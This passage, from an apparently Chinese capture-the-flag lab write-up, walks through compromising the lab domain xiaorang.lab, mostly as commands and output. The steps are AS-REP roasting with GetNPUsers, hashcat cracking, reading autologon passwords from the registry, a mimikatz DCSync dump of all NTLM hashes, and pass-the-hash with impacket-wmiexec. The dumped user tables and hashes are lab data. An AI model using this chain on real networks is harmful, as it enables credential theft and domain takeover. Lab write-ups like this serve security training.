yanyue@xiaorang.lab        | 18702474361 | YAN YUE         |\n| 477 | huangjia@xiaorang.lab      | 13006878166 | HUANG JIA       |\n| 478 | zhouchun@xiaorang.lab      | 13545820679 | ZHOU CHUN       |\n| 479 | jiyu@xiaorang.lab          | 18650881187 | JI YU           |\n| 480 | wendong@xiaorang.lab       | 17815264093 | WEN DONG        |\n| 481 | heyuan@xiaorang.lab        | 18710821773 | HE YUAN         |\n| 482 | mazhen@xiaorang.lab        | 18698248638 | MA ZHEN         |\n| 483 | shouchun@xiaorang.lab      | 15241369178 | SHOU CHUN       |\n| 484 | liuzhe@xiaorang.lab        | 18530936084 | LIU ZHE         |\n| 485 | fengbo@xiaorang.lab        | 15812110254 | FENG BO         |\n| 486 | taigongyuan@xiaorang.lab   | 15943349034 | TAI GONG YUAN   |\n| 487 | gesheng@xiaorang.lab       | 18278508909 | GE SHENG        |\n| 488 | songming@xiaorang.lab      | 13220512663 | SONG MING       |\n| 489 | yuwan@xiaorang.lab         | 15505678035 | YU WAN          |\n| 490 | diaowei@xiaorang.lab       | 13052582975 | DIAO WEI        |\n| 491 | youyi@xiaorang.lab         | 18036808394 | YOU YI          |\n| 492 | rongxianyu@xiaorang.lab    | 18839918955 | RONG XIAN YU    |\n| 493 | fuyi@xiaorang.lab          | 15632151678 | FU YI           |\n| 494 | linli@xiaorang.lab         | 17883399275 | LIN LI          |\n| 495 | weixue@xiaorang.lab        | 18672465853 | WEI XUE         |\n| 496 | hejuan@xiaorang.lab        | 13256081102 | HE JUAN         |\n| 497 | zuoqiutai@xiaorang.lab     | 18093001354 | ZUO QIU TAI     |\n| 498 | siyi@xiaorang.lab          | 17873307773 | SI YI           |\n| 499 | shenshan@xiaorang.lab      | 18397560369 | SHEN SHAN       |\n| 500 | tongdong@xiaorang.lab      | 15177549595 | TONG DONG       |\n+-----+----------------------------+-------------+-----------------+<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u4e4b\u524d\u63d0\u793a\u4e86\u67e5\u627e\u672a\u8bbe\u7f6e\u9884\u8ba4\u8bc1\u7684\u8d26\u53f7\uff0c\u8fd9\u4e2a\u7528\u6237\u540d\u770b\u8d77\u6765\u5c31\u50cf\u57df\u7528\u6237\u540d\uff0c\u5148\u5199\u4e2a\u811a\u672c\u628a\u7528\u6237\u540d\u63d0\u53d6\u51fa\u6765\u4fdd\u5b58\u4e3auser.txt<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import re\n\n# \u6253\u5f00\u539f\u59cb\u6570\u636e\u6587\u4ef6\nwith open('1.txt', 'r') as file:\n    data = file.readlines()\n\n# \u63d0\u53d6\u6307\u5b9a\u5b57\u7b26\u4e32\nusers = &#91;]\nfor line in data:\n    match = re.search(r'(\\w+)@xiaorang.lab', line)\n    if match:\n        username = match.group(1)\n        users.append(username)\n\n# \u4fdd\u5b58\u63d0\u53d6\u540e\u7684\u5b57\u7b26\u4e32\u5230 user.txt\nwith open('user.txt', 'w') as file:\n    for user in users:\n        file.write(user + '\\n')<\/code><\/pre>\n\n\n\n<p>\u63d0\u53d6\u5f97\u5230\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chenyan\ntanggui\nbuning\nbeishu\nshushi\nfuyi\npangcheng\ntonghao\njiaoshan\ndulun\nkejuan\ngexin\nlugu\nguzaicheng\nfeicai\nranqun\nzhouyi\nshishu\nyanyun\nchengqiu\nlouyou\nmaqun\nwenbiao\nweishengshan\nzhangxin\nchuyuan\nwenliang\nyulvxue\nluyue\nganjian\npangzhen\nguohong\nlezhong\nsheweiyue\ndujian\nlidongjin\nhongqun\nyexing\nmaoda\nqiaomei\nnongzhen\ndongshu\nzhuzhu\njiyun\nqiguanrou\nyixue\nchujun\nshenshan\nlefen\nyubo\nhelianrui\nxuanqun\nshangjun\nhuguang\nwansifu\nfenghong\nwanyan\ndiyan\nxiangyu\nsongyan\nfandi\nxiangjuan\nbeirui\ndidi\nzhubin\nlingchun\nzhenglu\nxundi\nwansishun\nyezongyue\nbianmei\nshanshao\nzhenhui\nchengli\nyufen\njiyi\npanbao\nmennane\nfengsi\nmingyan\nluoyou\nliangduanqing\nnongyan\nhaolun\noulun\nweichipeng\nqidiaofang\nxuehe\nchensi\nguihui\nfuyue\nwangxing\nzhengxiao\nguhui\nbaoai\nhangzhao\nxingye\nqianyi\nxionghong\nzouqi\nrongbiao\ngongxin\nluxing\nhuayan\nduyue\nxijun\ndaiqing\nyingbiao\nhengteng\nchangwu\nchengying\nluhong\ntongxue\nxiangqian\nshaokang\nnongzhu\nhaomei\nmaoqing\nxiai\nbihe\ngaoli\njianggong\npangning\nruishi\nwuhuan\nqiaode\nmayong\nhangda\nchanglu\nliuyuan\nchenggu\nshentuyun\nzhuangsong\nchushao\nheli\nhaoming\nxieyi\nshangjie\nsituxin\nlinxi\nzoufu\nqianqing\nqiai\nruilin\nluomeng\nhuaren\nyanyangmei\nzuofen\nmanyuan\nyuhui\nsunli\nguansixin\nruisong\nqiruo\njinyu\nshoujuan\nyanqian\nchangyun\nhualu\nhuanming\nbaoshao\nhongmei\nmanyun\nchangwan\nwangyan\nshijian\nruibei\njingshao\njinzhi\nyuhui\nzangpeng\nchangyun\nyetai\nluoxue\nmoqian\nxupeng\nruanyong\nguliangxian\nyinbin\nhuarui\nniuya\nguwei\nqinguan\nyangdanhan\nyingjun\nweiwan\nsunduangu\nsisiwu\nnongyan\nxuanlu\nyunzhong\ngengfei\nzizhuansong\nganbailong\nshenjiao\nzangyao\nyangdanhe\nchengliang\nxudi\nwulun\nyuling\ntaoya\njinle\nyouchao\nliangduanzhi\njiagupiao\nganze\njiangqing\njinshan\nzhengpubei\ncuicheng\nqiyong\nqizhu\nganjian\nyurui\nfeishu\nchenxin\nshengzhe\nwohong\nmanzhi\nxiangdong\nweihui\nxingquan\nmiaoshu\ngongwan\nqijie\nshaoting\nxiqi\njinghong\nqianyou\nchuhua\nyanyue\nhuangjia\nzhouchun\njiyu\nwendong\nheyuan\nmazhen\nshouchun\nliuzhe\nfengbo\ntaigongyuan\ngesheng\nsongming\nyuwan\ndiaowei\nyouyi\nrongxianyu\nfuyi\nlinli\nweixue\nhejuan\nzuoqiutai\nsiyi\nshenshan\ntongdong<\/code><\/pre>\n\n\n\n<p>\u4fdd\u5b58\u4e3auser.txt\u7136\u540e\u679a\u4e3e\u672a\u8bbe\u7f6e\u9884\u8ba4\u8bc1\u7684\u8d26\u53f7\uff08\u8fd9\u4e2a\u4e1c\u897f\u9ed8\u8ba4\u662f\u4e0d\u5173\u95ed\u7684\uff0c\u4f46\u5f53\u5173\u95ed\u4e86\u9884\u8eab\u4efd\u9a8c\u8bc1\u540e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u6307\u5b9a\u7528\u6237\u5411\u57df\u63a7\u5236\u5668\u7684Kerberos 88\u7aef\u53e3\u8bf7\u6c42\u7968\u636e\uff0c\u6b64\u65f6\u57df\u63a7\u4e0d\u4f1a\u8fdb\u884c\u4efb\u4f55\u9a8c\u8bc1\u5c31\u5c06TGT\u548c\u8be5\u7528\u6237Hash\u52a0\u5bc6\u7684Login Session Key \u8fd4\u56de\u3002\u56e0\u6b64\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u5bf9\u83b7\u53d6\u5230\u7684\u7528\u6237Hash\u52a0\u5bc6\u7684 Login Session Key \u8fdb\u884c\u79bb\u7ebf\u7834\u89e3\uff0c\u5982\u679c\u5b57\u5178\u591f\u5f3a\u5927\uff0c\u5219\u53ef\u80fd\u7834\u89e3\u5f97\u5230\u8be5\u6307\u5b9a\u7528\u6237\u7684\u660e\u6587\u5bc6\u7801\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab\/<\/code><\/pre>\n\n\n\n<p>\u6211\u8dd1\u7684\u65f6\u5019\u51fa\u73b0\u62a5\u9519\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TypeError: deprecated() got an unexpected keyword argument 'name'<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6211\u628apyOpenSSL\u5e93\u5220\u4e86\u5c31\u6b63\u5e38\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo python3 -m pip uninstall pyOpenSSL<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/12-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"777\" height=\"507\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/12-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2269\"  sizes=\"auto, (max-width: 777px) 100vw, 777px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>$krb5asrep$23$zhangxin@XIAORANG.LAB:e414f4692a6b1d0905e8ed118747ac6e$95ec406c7cdae081a496fe8009a23e684f0612d0632c903e1b34ce66275421c5d0f8125c8e651bf93ddee83bab492833c6af3316177096000e7e302359774ab66f05c254ad9c61ba9407756681e532c031f65961571469d15a08a069ea0ab26d38d876c2808055c0724c9b30dcc29ba9e62d56d8f697ea29d200f3c58bd107e8f39e16d34aa76dcb26d58e7d7e59a1d3160d249451a73fe6ba1a0d09d4a5210f2b6aeb09cf979a0ad51345244b21769878652f5c88223c4ed6648c650413bc31192e835cf74f274b20604a8e9ad3db6ec6e28f7b24452eaf7c456a7e4282e1bba9ffddc43915cfd1349c56a0<\/code><\/pre>\n\n\n\n<p>\u89e3\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -m 18200 1.txt -a 0 .\/rockyou.txt  --force<\/code><\/pre>\n\n\n\n<p>\u83b7\u5f97\u8d26\u53f7\u548c\u5bc6\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>zhangxin@XIAORANG.LAB:strawberry<\/code><\/pre>\n\n\n\n<p>rdp\u968f\u4fbf\u8bd5\u8bd5\uff0c\u767b\u5f55\u4e86172.22.6.25\uff0c\u7136\u540e\u67e5\u770b\u4e00\u4e0b\u7528\u6237<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/7-1-1024x278.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"278\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/7-1-1024x278.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2270\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u522b\u4ebawp\u8bf4\u8fd9\u91cc\u6709\u7406\u7531\u6000\u7591\u662f\u5f00\u4e86Windows \u81ea\u52a8\u767b\u5f55\uff0c\u6211\u4e5f\u4e0d\u61c2\uff0c\u5475\u5475\uff0c\u53cd\u6b63\u53ef\u4ee5\u6293\u5bc6\u7801\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/8-1-1024x686.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"686\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/8-1-1024x686.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2271\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>DefaultUserName    REG_SZ    yuxuan\nDefaultPassword    REG_SZ    Yuxuan7QbrgZ3L\nDefaultDomainName    REG_SZ    xiaorang.lab<\/code><\/pre>\n\n\n\n<p>\u6362\u8fd9\u4e2a\u8d26\u53f7\u767b\u4e86\u4e00\u4e0b\uff0c\u7528BloodHound\u5206\u6790\u57df\u5185\u5173\u7cfb\uff0c\u53d1\u73b0\u8fd9\u4e2a\u7528\u6237\u6ee5\u7528\u4e86SID\u5386\u53f2\u529f\u80fd(SIDHistory\u662f\u4e00\u4e2a\u4e3a\u652f\u6301\u57df\u8fc1\u79fb\u65b9\u6848\u800c\u8bbe\u7f6e\u7684\u5c5e\u6027\uff0c\u5f53\u4e00\u4e2a\u5bf9\u8c61\u4ece\u4e00\u4e2a\u57df\u8fc1\u79fb\u5230\u53e6\u4e00\u4e2a\u57df\u65f6\uff0c\u4f1a\u5728\u65b0\u57df\u521b\u5efa\u4e00\u4e2a\u65b0\u7684SID\u4f5c\u4e3a\u8be5\u5bf9\u8c61\u7684objectSid\uff0c\u5728\u4e4b\u524d\u57df\u4e2d\u7684SID\u4f1a\u6dfb\u52a0\u5230\u8be5\u5bf9\u8c61\u7684sIDHistory\u5c5e\u6027\u4e2d\uff0c\u6b64\u65f6\u8be5\u5bf9\u8c61\u5c06\u4fdd\u7559\u5728\u539f\u6765\u57df\u7684SID\u5bf9\u5e94\u7684\u8bbf\u95ee\u6743\u9650)\uff0c\u501f\u4e00\u5f20\u522b\u4eba\u7684\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/13-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"396\" height=\"60\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/13-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2273\"  sizes=\"auto, (max-width: 396px) 100vw, 396px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u8fd9\u4e2a\u6ee5\u7528\u76f4\u63a5\u653b\u51fbDC\u4e86\uff0c\u56e0\u4e3a\u6211\u4eec\u4fdd\u7559\u57df\u7ba1\u7406\u5458\u7684\u8bbf\u95ee\u6743\u9650\u4e86\uff0c\u6240\u4ee5\u76f4\u63a5dump\u54c8\u5e0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe \"lsadump::dcsync \/domain:xiaorang.lab \/all \/csv\" \"exit\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/9-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"857\" height=\"555\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/9-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2274\"  sizes=\"auto, (max-width: 857px) 100vw, 857px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>1103    shuzhen 07c1f387d7c2cf37e0ca7827393d2327\n1104    gaiyong 52c909941c823dbe0f635b3711234d2e\n1106    xiqidi  a55d27cfa25f3df92ad558c304292f2e\n1107    wengbang        6b1d97a5a68c6c6c9233d11274d13a2e\n1108    xuanjiang       a72a28c1a29ddf6509b8eabc61117c6c\n1109    yuanchang       e1cea038f5c9ffd9dc323daf35f6843b\n1110    lvhui   f58b31ef5da3fc831b4060552285ca54\n1111    wenbo   9abb7115997ea03785e92542f684bdde\n1112    zhenjun 94c84ba39c3ece24b419ab39fdd3de1a\n1113    jinqing 4bf6ad7a2e9580bc8f19323f96749b3a\n1115    yangju  1fa8c6b4307149415f5a1baffebe61cf\n1117    weicheng        796a774eace67c159a65d6b86fea1d01\n1118    weixian 8bd7dc83d84b3128bfbaf165bf292990\n1119    haobei  045cc095cc91ba703c46aa9f9ce93df1\n1120    jizhen  1840c5130e290816b55b4e5b60df10da\n1121    jingze  3c8acaecc72f63a4be945ec6f4d6eeee\n1122    rubao   d8bd6484a344214d7e0cfee0fa76df74\n1123    zhaoxiu 694c5c0ec86269daefff4dd611305fab\n1124    tangshun        90b8d8b2146db6456d92a4a133eae225\n1125    liangliang      c67cd4bae75b82738e155df9dedab7c1\n1126    qiyue   b723d29e23f00c42d97dd97cc6b04bc8\n1127    chouqian        c6f0585b35de1862f324bc33c920328d\n1128    jicheng 159ee55f1626f393de119946663a633c\n1129    xiyi    ee146df96b366efaeb5138832a75603b\n1130    beijin  a587b90ce9b675c9acf28826106d1d1d\n1131    chenghui        08224236f9ddd68a51a794482b0e58b5\n1132    chebin  b50adfe07d0cef27ddabd4276b3c3168\n1133    pengyuan        a35d8f3c986ab37496896cbaa6cdfe3e\n1134    yanglang        91c5550806405ee4d6f4521ba6e38f22\n1135    jihuan  cbe4d79f6264b71a48946c3fa94443f5\n1136    duanmuxiao      494cc0e2e20d934647b2395d0a102fb0\n1137    hongzhi f815bf5a1a17878b1438773dba555b8b\n1138    gaijin  b1040198d43631279a63b7fbc4c403af\n1139    yifu    4836347be16e6af2cd746d3f934bb55a\n1140    fusong  adca7ec7f6ab1d2c60eb60f7dca81be7\n1141    luwan   c5b2b25ab76401f554f7e1e98d277a6a\n1142    tangrong        2a38158c55abe6f6fe4b447fbc1a3e74\n1143    zhufeng 71e03af8648921a3487a56e4bb8b5f53\n1145    dongcheng       f2fdf39c9ff94e24cf185a00bf0a186d\n1146    lianhuangchen   23dc8b3e465c94577aa8a11a83c001af\n1147    lili    b290a36500f7e39beee8a29851a9f8d5\n1148    huabi   02fe5838de111f9920e5e3bb7e009f2f\n1149    rangsibo        103d0f70dc056939e431f9d2f604683c\n1150    wohua   cfcc49ec89dd76ba87019ca26e5f7a50\n1151    haoguang        33efa30e6b3261d30a71ce397c779fda\n1152    langying        52a8a125cd369ab16a385f3fcadc757d\n1153    diaocai a14954d5307d74cd75089514ccca097a\n1154    lianggui        4ae2996c7c15449689280dfaec6f2c37\n1155    manxue  0255c42d9f960475f5ad03e0fee88589\n1156    baqin   327f2a711e582db21d9dd6d08f7bdf91\n1157    chengqiu        0d0c1421edf07323c1eb4f5665b5cb6d\n1158    louyou  a97ba112b411a3bfe140c941528a4648\n1159    maqun   485c35105375e0754a852cee996ed33b\n1160    wenbiao 36b6c466ea34b2c70500e0bfb98e68bc\n1161    weishengshan    f60a4233d03a2b03a7f0ae619c732fae\n1163    chuyuan 0cfdca5c210c918b11e96661de82948a\n1164    wenliang        a4d2bacaf220292d5fdf9e89b3513a5c\n1165    yulvxue cf970dea0689db62a43b272e2c99dccd\n1166    luyue   274d823e941fc51f84ea323e22d5a8c4\n1167    ganjian 7d3c39d94a272c6e1e2ffca927925ecc\n1168    pangzhen        51d37e14983a43a6a45add0ae8939609\n1169    guohong d3ce91810c1f004c782fe77c90f9deb6\n1170    lezhong dad3990f640ccec92cf99f3b7be092c7\n1171    sheweiyue       d17aecec7aa3a6f4a1e8d8b7c2163b35\n1172    dujian  8f7846c78f03bf55685a697fe20b0857\n1173    lidongjin       34638b8589d235dea49e2153ae89f2a1\n1174    hongqun 6c791ef38d72505baeb4a391de05b6e1\n1175    yexing  34842d36248c2492a5c9a1ae5d850d54\n1176    maoda   6e65c0796f05c0118fbaa8d9f1309026\n1177    qiaomei 6a889f350a0ebc15cf9306687da3fd34\n502     krbtgt  a4206b127773884e2c7ea86cdd282d9c\n1178    wenshao b31c6aa5660d6e87ee046b1bb5d0ff79\n500     Administrator   04d93ffd6f5f6e4490e0de23f240a5e9\n1000    DC-PROGAME$     5c76d177587a06495af3a7494ffb2e1f\n1180    yuxuan  376ece347142d1628632d440530e8eed\n1181    WIN2019$        91c31e8e8aa3270652c7e1e11fa17b3b\n1179    zhangxin        d6c5976e07cdb410be19b84126367e3d<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\u628a\u57df\u7ba1\u7406\u5458\u54c8\u5e0cdump\u4e86\uff0c\u6240\u4ee5\u76f8\u5f53\u4e8e\u5df2\u7ecf\u62ff\u4e0b\u57df\u63a7\u4e86\uff0c\u54c8\u5e0c\u4f20\u9012\u767b\u4e00\u4e0b\u5176\u4ed6\u4e24\u53f0\u673a\u5668\u62ff\u4e00\u4e0bflag\u5c31\u7ed3\u675f\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains impacket-wmiexec  XIAORANG\/administrator@172.22.6.25   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains impacket-wmiexec  XIAORANG\/administrator@172.22.6.12   -hashes :04d93ffd6f5f6e4490e0de23f240a5e9<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>type C:\\Users\\Administrator\\flag\\flag*<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/11-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"527\" height=\"238\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/11-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2275\"  sizes=\"auto, (max-width: 527px) 100vw, 527px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/10-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"558\" height=\"293\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/10-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2277\"  sizes=\"auto, (max-width: 558px) 100vw, 558px\" \/><\/div><\/figure>\n\n\n\n<p>\u611f\u89c9\u6293\u5bc6\u7801\u8fd9\u91cc\u6709\u70b9\u7275\u5f3a\uff0c\u8054\u60f3\u5230\u81ea\u52a8\u767b\u5f55\u86ee\u795e\u5947\u7684\uff0c\u53cd\u6b63\u6211\u80af\u5b9a\u60f3\u4e0d\u5230\uff0c\u6293\u4e86\u90a3\u4e2a\u5bc6\u7801\u4e5f\u5c31\u76f8\u5f53\u4e8e\u76f4\u63a5\u62ff\u57df\u63a7\u4e86\uff0c\u540e\u9762\u5c31\u662f\u5e38\u89c4\u5957\u8def\u54c8\u5e0c\u4f20\u9012\u4e00\u4e0b\u62ffflag\uff0c\u4e0d\u7b97\u592a\u96be\uff0c\u6253\u7684\u4e5f\u633a\u5feb\u7684\uff0c\u6bd5\u7adf\u53ea\u8981\u77e5\u9053\u80fd\u90a3\u6837\u6293\u5bc6\u7801\u540e\u9762\u8fc7\u7a0b\u90fd\u633a\u7b80\u5355\u7684\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-22-1024x358.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"358\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-22-1024x358.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2279\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u8003\u70b9\uff1a<br \/>\nNeo4j\u00a0RCE<br \/>\nsqlmap\u4e00\u628a\u68ad<br \/>\nAS-REP Roasting<br \/>\n\u6293Windows\u81ea\u52a8\u767b\u5f55\u5bc6\u7801<br 